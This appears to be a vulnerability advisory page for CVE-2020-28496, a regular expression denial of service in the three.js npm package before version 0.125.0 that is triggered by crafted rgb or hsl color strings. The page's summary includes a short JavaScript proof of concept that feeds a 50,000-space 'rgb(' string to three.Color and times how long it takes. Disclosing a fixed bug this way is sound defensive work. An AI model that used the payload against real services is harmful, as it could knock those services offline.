Skip to main content
← All vulnerabilities
CVE-2020-28496GHSA-FQ6P-X6J3-CMMQ

Regular Expression Denial of Service (ReDoS)

Published
Last modified
published
Not listed in CISA KEV
Fix
Fixed in 0.125.0
None on Exploit-DB, Metasploit or GitHub

Summary

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Timeline

  1. CVE published
  2. Record last updated

Affected versions

  • n/a three

    fixed in 0.125.0

  • threenpm

    fixed in 0.125.0

References 4

snyk.io

GitHub · mrdoob/three.js